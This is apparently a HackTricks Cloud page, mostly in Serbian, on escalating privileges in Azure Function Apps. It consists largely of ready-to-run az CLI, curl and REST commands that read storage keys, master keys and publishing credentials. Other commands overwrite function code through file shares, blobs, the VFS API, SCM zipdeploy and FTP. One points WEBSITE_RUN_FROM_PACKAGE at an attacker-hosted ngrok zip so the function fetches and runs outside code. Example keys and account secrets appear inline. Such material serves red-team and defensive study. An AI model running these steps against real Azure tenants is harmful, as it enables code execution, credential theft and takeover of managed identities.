Az - Functions App Privesc
Reading time: 15 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Function Apps
Proverite sledeću stranicu za više informacija:
Bucket Read/Write
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći različite kontejnere (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati kod koji izvršava funkcija.
Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
iWEBSITE_CONTENTSHARE
)
Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i naterati funkciju da učita proizvoljan kod, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.
Ova metoda implementacije obično konfiguriše postavke WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
i WEBSITE_CONTENTSHARE
koje možete dobiti od
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Te konfiguracije će sadržati Storage Account Key koji Funkcija može koristiti za pristup kodu.
caution
Sa dovoljno dozvola za povezivanje na File Share i modifikovanje skripte koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
Takođe je uobičajeno pronaći zip izdanja unutar fascikle function-releases
u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru obično nazvanom function-releases
.
Obično će ova metoda implementacije postaviti WEBSITE_RUN_FROM_PACKAGE
konfiguraciju u:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ova konfiguracija obično sadrži SAS URL za preuzimanje koda iz Storage Account-a.
caution
Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji sadrži kod u zip-u moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder github-actions-deploy
u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju WEBSITE_RUN_FROM_PACKAGE
.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
iWEBSITE_CONTENTSHARE
)
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner scm-releases
. Tamo je moguće pronaći najnovije izdanje u Squashfs filesystem file format i stoga je moguće pročitati kod funkcije:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Takođe je moguće pronaći master i functions ključeve pohranjene u skladišnom računu u kontejneru azure-webjobs-secrets
unutar fascikle <app-name>
u JSON datotekama koje možete pronaći unutra.
caution
Sa dovoljno dozvola za povezivanje na blob kontejner koji sadrži kod u zip ekstenzijskoj datoteci (koja zapravo jeste squashfs
) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa:
az functionapp keys list --resource-group <res_group> --name <func-name>
Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
I da promenite kod koji se izvršava u funkciji sa:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!
Microsoft.Web/sites/host/systemKeys/write
Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti AzureWebJobsStorage
ili WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
koje sadrže ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Pored toga, ova dozvola takođe omogućava dobijanje SCM korisničkog imena i lozinke (ako je omogućeno) sa:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus da se modifikuju te vrednosti. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije.
Stoga je moguće postaviti vrednost podešavanja WEBSITE_RUN_FROM_PACKAGE
koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije:
- Počnite tako što ćete dobiti trenutnu konfiguraciju
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju
WEBSITE_RUN_FROM_PACKAGE
koja pokazuje na URL sa zip-om koji sadrži kod.
Sledeći je primer mojih vlastitih podešavanja koja ćete morati da promenite za svoja, obratite pažnju na kraju na vrednosti "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, ovde sam hostovao aplikaciju.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Sa ovom dozvolom je moguće modifikovati kod aplikacije putem web konzole (ili putem sledeće API tačke):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Ako su REDACTED akreditivi
Ako vidite da su ti akreditivi REDACTED, to je zato što morate omogućiti SCM osnovnu opciju autentifikacije i za to vam je potrebna druga dozvola (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
Zatim, možete pristupiti sa ovim osnovnim autentifikacionim podacima za SCM URL vaše funkcijske aplikacije i dobiti vrednosti env varijabli:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Napomena da je SCM korisničko ime obično karakter "$" praćen imenom aplikacije, tako da: $<app-name>
.
Možete takođe pristupiti veb stranici sa https://<app-name>.scm.azurewebsites.net/BasicAuth
Vrednosti podešavanja sadrže AccountKey skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.
- Metoda FTP
Povežite se na FTP server koristeći:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Napomena da je FTP korisničko ime obično u formatu <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Ova dozvola omogućava čitati izvorni kod aplikacije putem VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Sa ovom dozvolom je moguće dobiti admin token koji se kasnije može koristiti za preuzimanje master key i tako pristupiti i izmeniti kod funkcije.
Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
Ova dozvola omogućava omogućavanje funkcija koje mogu biti onemogućene (ili njihovo onemogućavanje).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
Sa ovim dozvolama moguće je modifikovati kontejner koji pokreće funkcijska aplikacija konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
Sa ovim dozvolama moguće je priključiti novu korisničku upravljanu identitet na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao objašnjeno u dokumentaciji. Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.
Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:
az functionapp show --name <app-name> --resource-group <res-group>
Imajući dozvolu Microsoft.Web/sites/config/write
, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
i Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Promena Github repozitorijuma
Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, novi kod nije učitan (verovatno zato što očekuje da Github Action ažurira kod).
Pored toga, federisana akreditivna identitet upravljanja nije ažurirana da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.